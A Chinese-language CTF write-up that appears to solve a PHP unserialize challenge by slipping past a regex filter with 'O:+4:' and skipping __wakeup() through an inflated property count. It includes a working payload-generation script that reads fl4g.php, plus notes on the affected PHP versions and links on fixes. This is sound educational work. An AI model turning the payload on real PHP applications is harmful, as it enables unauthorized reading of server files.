打开如下
依然是需要利用 unserialize()和wakeup()传参时的漏洞,即,当传输的序列码中属性值的大小大于真实属性的数量时,会跳过wakeup()。上个问题已经了解了
见链接:(https://blog.csdn.net/weixin_45344309/article/details/111385926)
源码注释提示flag在 fl4g.php,可以传输fl4g.php
但是他对传输的序列码作为正则表达式进行了过滤
if (preg_match('/[oc]:\d+:/i', $var))
即 o或c : 数字 :
即 过滤了 序列码中的 O:4:
此处利用一个小特性 改为 O:+4: 仍可被反序列函数反转
绕过过滤的代码如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a= new Demo("fl4g.php");
$c=serialize($a);
$c=str_replace('O:4:', 'O:+4:', $c);
$c=str_replace(':1:',':2:',$c);
print(base64_encode($c));
?>
得到
成功
关于序列码
wakeup的调用漏洞存在于PHP5 < 5.6.25, PHP7 < 7.0.10
关于此种绕过过滤和漏洞修复
关于序列码参考
https://zhuanlan.zhihu.com/p/64656061
https://www.cnblogs.com/anbuxuan/p/11871756.html
关于漏洞修复参考
https://blog.spoock.com/2016/11/03/php-wakeup/